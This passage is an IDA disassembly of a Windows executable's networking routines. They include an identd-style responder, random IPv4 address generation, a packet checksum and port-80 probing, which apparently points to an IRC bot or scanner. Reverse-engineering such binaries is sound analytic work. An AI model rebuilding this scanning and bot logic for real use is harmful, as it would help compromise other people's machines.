loc_403E75:				; CODE XREF: sub_403DF3+BDj
					; sub_403DF3+10Fj ...
		push	3E8h
		push	[ebp+var_11B4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B8],	eax
		mov	eax, [ebp+var_11B0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403EA2
		cmp	[ebp+var_11B8],	0
		jnz	short loc_403EA7


loc_403EA2:				; CODE XREF: sub_403DF3+A4j
		jmp	loc_403FC7
; ---------------------------------------------------------------------------


loc_403EA7:				; CODE XREF: sub_403DF3+ADj
		cmp	[ebp+var_11B8],	0FFFFFFFFh
		jnz	short loc_403EB2
		jmp	short loc_403E75
; ---------------------------------------------------------------------------


loc_403EB2:				; CODE XREF: sub_403DF3+BBj
		push	1000h
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_1228],	eax
		cmp	[ebp+var_1228],	0
		jz	short loc_403EF6
		cmp	[ebp+var_1228],	0FFFFFFFFh
		jz	short loc_403EF6
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 10h
		jbe	short loc_403F07


loc_403EF6:				; CODE XREF: sub_403DF3+E6j
					; sub_403DF3+EFj
		push	[ebp+var_11B8]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------


loc_403F07:				; CODE XREF: sub_403DF3+101j
		movsx	eax, ds:byte_41EF98
		test	eax, eax
		jz	short loc_403F27
		push	offset byte_41EF98
		lea	eax, [ebp+var_1224]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_403F57
; ---------------------------------------------------------------------------


loc_403F27:				; CODE XREF: sub_403DF3+11Dj
		lea	eax, [ebp+var_1200]
		push	eax
		lea	eax, [ebp+var_1224]
		push	eax
		lea	eax, [ebp+var_11DC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1224]
		push	eax
		push	offset byte_41EF98
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_403F57:				; CODE XREF: sub_403DF3+132j
		push	offset aUseridUnix ; " : USERID	: UNIX : "
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1224]
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_11B8]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------


loc_403FC7:				; CODE XREF: sub_403DF3:loc_403EA2j
		push	[ebp+var_11B4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_403FE1:				; CODE XREF: sub_403DF3+5Aj
		leave
		retn	4
sub_403DF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE5	proc near		; CODE XREF: sub_40A9CF+EECp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_403FFD
		push	[ebp+arg_4]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_404004


loc_403FFD:				; CODE XREF: sub_403FE5+9j
		mov	[ebp+arg_4], offset dword_418A18


loc_404004:				; CODE XREF: sub_403FE5+16j
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40401A
		jmp	short locret_40407B
; ---------------------------------------------------------------------------


loc_40401A:				; CODE XREF: sub_403FE5+31j
		push	6
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_404059
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		test	eax, eax
		jz	short loc_404059
		and	[ebp+var_8], 0
		jmp	short loc_404060
; ---------------------------------------------------------------------------


loc_404059:				; CODE XREF: sub_403FE5+5Ej
					; sub_403FE5+6Cj
		mov	[ebp+var_8], 1


loc_404060:				; CODE XREF: sub_403FE5+72j
		push	[ebp+arg_4]
		push	offset dword_4189F8
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset sub_403DF3
		call	sub_4095A4
		add	esp, 14h

locret_40407B:				; CODE XREF: sub_403FE5+33j
		leave
		retn
sub_403FE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40407D	proc near		; CODE XREF: sub_4055E5+772p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0


loc_404085:				; CODE XREF: sub_40407D+2Cj
		cmp	[ebp+arg_4], 1
		jbe	short loc_4040AB
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_404085
; ---------------------------------------------------------------------------


loc_4040AB:				; CODE XREF: sub_40407D+Cj
		cmp	[ebp+arg_4], 0
		jz	short loc_4040BF
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx


loc_4040BF:				; CODE XREF: sub_40407D+32j
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		add	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		not	eax
		leave
		retn
sub_40407D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040E8	proc near		; CODE XREF: sub_4055E5+752p
					; sub_40A9CF+1A2Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 2
		jz	short loc_404146
		cmp	[ebp+var_4], 3
		jz	short loc_404124
		cmp	[ebp+var_4], 4
		jz	short loc_404106
		jmp	short loc_40416A
; ---------------------------------------------------------------------------


loc_404106:				; CODE XREF: sub_4040E8+1Aj
		mov	eax, [ebp+arg_0]
		and	al, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_404124:				; CODE XREF: sub_4040E8+14j
		mov	eax, [ebp+arg_0]
		and	ah, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 8
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_404146:				; CODE XREF: sub_4040E8+Ej
		mov	eax, [ebp+arg_0]
		and	eax, 0FF00FFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 10h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_40416A:				; CODE XREF: sub_4040E8+1Cj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 18h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_4040E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404193	proc near		; CODE XREF: sub_404279+Ap
					; sub_40435B+17p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0Ah
		push	[ebp+arg_0]
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		pop	ebp
		retn
sub_404193	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041B7	proc near		; CODE XREF: sub_40D871+5B3p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	offset dword_418A48
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041D5
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_4041D5:				; CODE XREF: sub_4041B7+17j
		push	4
		push	offset dword_418A40
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041F0
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_4041F0:				; CODE XREF: sub_4041B7+32j
		push	8
		push	offset dword_418A34
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40420B
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_40420B:				; CODE XREF: sub_4041B7+4Dj
		push	3
		push	offset dword_418A30
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404226
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_404226:				; CODE XREF: sub_4041B7+68j
		xor	eax, eax


loc_404228:				; CODE XREF: sub_4041B7+1Cj
					; sub_4041B7+37j ...
		pop	ebp
		retn
sub_4041B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40422A	proc near		; CODE XREF: sub_402A32+206p
					; sub_403FE5+Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40423C
; ---------------------------------------------------------------------------


loc_404235:				; CODE XREF: sub_40422A:loc_404273j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40423C:				; CODE XREF: sub_40422A+9j
		cmp	[ebp+var_4], 6
		jnz	short loc_404244
		jmp	short loc_404275
; ---------------------------------------------------------------------------


loc_404244:				; CODE XREF: sub_40422A+16j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_404273
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40426C
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_40426E


loc_40426C:				; CODE XREF: sub_40422A+37j
		jmp	short loc_404275
; ---------------------------------------------------------------------------


loc_40426E:				; CODE XREF: sub_40422A+40j
		push	1
		pop	eax
		jmp	short locret_404277
; ---------------------------------------------------------------------------


loc_404273:				; CODE XREF: sub_40422A+25j
		jmp	short loc_404235
; ---------------------------------------------------------------------------


loc_404275:				; CODE XREF: sub_40422A+18j
					; sub_40422A:loc_40426Cj
		xor	eax, eax

locret_404277:				; CODE XREF: sub_40422A+47j
		leave
		retn
sub_40422A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404279	proc near		; CODE XREF: sub_4042FB+Cp
					; sub_408B30+197p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_4042A4
		push	1
		pop	eax
		jmp	short locret_4042F9
; ---------------------------------------------------------------------------


loc_4042A4:				; CODE XREF: sub_404279+24j
		push	0BB8h
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41F018
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_C], eax
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4042DA
		cmp	[ebp+var_C], 0FFFFFFFFh
		jz	short loc_4042DA
		and	[ebp+var_18], 0
		jmp	short loc_4042E1
; ---------------------------------------------------------------------------


loc_4042DA:				; CODE XREF: sub_404279+53j
					; sub_404279+59j
		mov	[ebp+var_18], 1


loc_4042E1:				; CODE XREF: sub_404279+5Fj
		mov	eax, [ebp+var_18]
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4042F6
		push	[ebp+var_C]
		call	sub_4053B1
		pop	ecx


loc_4042F6:				; CODE XREF: sub_404279+72j
		mov	eax, [ebp+var_14]

locret_4042F9:				; CODE XREF: sub_404279+29j
		leave
		retn
sub_404279	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4042FB	proc near		; CODE XREF: sub_411D68+4p
					; sub_41349C+1FAp ...
		push	ebp
		mov	ebp, esp
		cmp	ds:dword_41E364, 0
		jnz	short loc_404327
		call	sub_404279
		push	eax
		push	offset dword_41E368
		call	sub_409C9D
		pop	ecx
		pop	ecx
		push	1
		push	offset dword_41E364
		call	sub_409C9D
		pop	ecx
		pop	ecx


loc_404327:				; CODE XREF: sub_4042FB+Aj
		mov	eax, ds:dword_41E368
		pop	ebp
		retn
sub_4042FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40432E	proc near		; CODE XREF: sub_40435B+6p
					; sub_4046BC+5Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	1
		push	17h
		call	ds:dword_417218	; socket
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404350
		push	[ebp+var_4]
		call	sub_4053B1
		pop	ecx


loc_404350:				; CODE XREF: sub_40432E+17j
		xor	eax, eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		setnz	al
		leave
		retn
sub_40432E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40435B	proc near		; CODE XREF: sub_4083AD:loc_4085D6p

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_40432E
		test	eax, eax
		jnz	short loc_40436E
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------


loc_40436E:				; CODE XREF: sub_40435B+Dj
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_404392
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------


loc_404392:				; CODE XREF: sub_40435B+31j
		push	0BB8h
		push	2
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_418A5C
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_8], 0
		jz	short loc_4043CB
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4043CB
		mov	[ebp+var_18], 1
		jmp	short loc_4043CF
; ---------------------------------------------------------------------------


loc_4043CB:				; CODE XREF: sub_40435B+5Fj
					; sub_40435B+65j
		and	[ebp+var_18], 0


loc_4043CF:				; CODE XREF: sub_40435B+6Ej
		mov	eax, [ebp+var_18]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4043E4
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx


loc_4043E4:				; CODE XREF: sub_40435B+7Ej
		mov	eax, [ebp+var_4]

locret_4043E7:				; CODE XREF: sub_40435B+11j
					; sub_40435B+35j
		leave
		retn
sub_40435B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043E9	proc near		; CODE XREF: sub_408B30:loc_408C9Fp
					; sub_40CA29+231p ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	offset dword_418A1C
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	7D0h
		push	2
		push	offset a80	; "80"
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_404439
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_404439
		mov	[ebp+var_20], 1
		jmp	short loc_40443D
; ---------------------------------------------------------------------------


loc_404439:				; CODE XREF: sub_4043E9+3Fj
					; sub_4043E9+45j
		and	[ebp+var_20], 0


loc_40443D:				; CODE XREF: sub_4043E9+4Ej
		mov	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404452
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx


loc_404452:				; CODE XREF: sub_4043E9+5Ej
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4043E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404457	proc near		; CODE XREF: sub_404FE7+AFp
					; sub_4050EA+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	eax, eax
		cmp	[ebp+arg_4], 0
		setz	al
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	ds:dword_417214	; ioctlsocket
		leave
		retn
sub_404457	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40447B	proc near		; CODE XREF: sub_40732D+22Ep
					; sub_40732D+296p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	ds:dword_417214	; ioctlsocket
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setnz	al
		leave
		retn
sub_40447B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40449C	proc near		; CODE XREF: sub_40D871+5A1p
					; sub_411DC5+65p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_417240	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4044CC
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------


loc_4044CC:				; CODE XREF: sub_40449C+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	ds:dword_41DF58	; getnameinfo
		test	eax, eax
		jz	short loc_4044F2
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------


loc_4044F2:				; CODE XREF: sub_40449C+50j
		push	1
		pop	eax

locret_4044F5:				; CODE XREF: sub_40449C+2Ej
					; sub_40449C+54j
		leave
		retn
sub_40449C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044F7	proc near		; CODE XREF: sub_40732D+DDp
					; sub_4129CA+29p ...

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_417210	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404527
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------


loc_404527:				; CODE XREF: sub_4044F7+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	ds:dword_41DF58	; getnameinfo
		test	eax, eax
		jz	short loc_40454D
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------


loc_40454D:				; CODE XREF: sub_4044F7+50j
		push	1
		pop	eax

locret_404550:				; CODE XREF: sub_4044F7+2Ej
					; sub_4044F7+54j
		leave
		retn
sub_4044F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404552	proc near		; CODE XREF: sub_41331E+A6p
					; sub_415F69+256p

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_417240	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404582
		xor	eax, eax
		jmp	short locret_4045B0
; ---------------------------------------------------------------------------


loc_404582:				; CODE XREF: sub_404552+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	ds:dword_417238	; ntohs
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_4045B0:				; CODE XREF: sub_404552+2Ej
		leave
		retn
sub_404552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045B2	proc near		; CODE XREF: sub_4143B0+191p
					; sub_415F69+20Ap

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_417210	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4045E2
		xor	eax, eax
		jmp	short locret_404610
; ---------------------------------------------------------------------------


loc_4045E2:				; CODE XREF: sub_4045B2+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	ds:dword_417238	; ntohs
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_404610:				; CODE XREF: sub_4045B2+2Ej
		leave
		retn
sub_4045B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404612	proc near		; CODE XREF: sub_40D871+69Cp

var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		lea	eax, [ebp+var_408]
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	ds:dword_41DF54	; getaddrinfo
		test	eax, eax
		jnz	loc_4046B8
		mov	eax, [ebp+var_408]
		mov	[ebp+var_40C], eax


loc_404643:				; CODE XREF: sub_404612+98j
		cmp	[ebp+var_40C], 0
		jz	short loc_4046AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+18h]
		call	ds:dword_41DF58	; getnameinfo
		test	eax, eax
		jnz	short loc_40469B
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40469B
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_4]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	al, 1
		jmp	short locret_4046BA
; ---------------------------------------------------------------------------


loc_40469B:				; CODE XREF: sub_404612+66j
					; sub_404612+72j
		mov	eax, [ebp+var_40C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_40C], eax
		jmp	short loc_404643
; ---------------------------------------------------------------------------


loc_4046AC:				; CODE XREF: sub_404612+38j
		push	[ebp+var_408]
		call	ds:dword_41DF5C	; freeaddrinfo


loc_4046B8:				; CODE XREF: sub_404612+1Fj
		xor	al, al

locret_4046BA:				; CODE XREF: sub_404612+87j
		leave
		retn
sub_404612	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046BC	proc near		; CODE XREF: sub_4020C2+124p
					; sub_403DF3+36p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		xor	eax, eax
		test	eax, eax
		jz	short loc_4046D1
		mov	[ebp+var_3C], 2
		jmp	short loc_4046D8
; ---------------------------------------------------------------------------


loc_4046D1:				; CODE XREF: sub_4046BC+Aj
		mov	[ebp+var_3C], 1


loc_4046D8:				; CODE XREF: sub_4046BC+13j
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_8], eax
		push	1008h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jnz	short loc_4046F9
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------


loc_4046F9:				; CODE XREF: sub_4046BC+34j
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax+804h], 0
		push	20h
		push	0
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		call	sub_40432E
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		inc	eax
		inc	eax
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_20], eax
		mov	[ebp+var_28], 5
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		push	0
		call	ds:dword_41DF54	; getaddrinfo
		test	eax, eax
		jz	short loc_40475D
		push	[ebp+var_2C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------


loc_40475D:				; CODE XREF: sub_4046BC+8Fj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_4], eax
		jmp	short loc_40476E
; ---------------------------------------------------------------------------


loc_404765:				; CODE XREF: sub_4046BC+DDj
					; sub_4046BC+F1j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_40476E:				; CODE XREF: sub_4046BC+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40484E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	ds:dword_417218	; socket
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0FFFFFFFFh
		jnz	short loc_40479B
		jmp	short loc_404765
; ---------------------------------------------------------------------------


loc_40479B:				; CODE XREF: sub_4046BC+DBj
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4047AF
		mov	eax, [ebp+var_4]
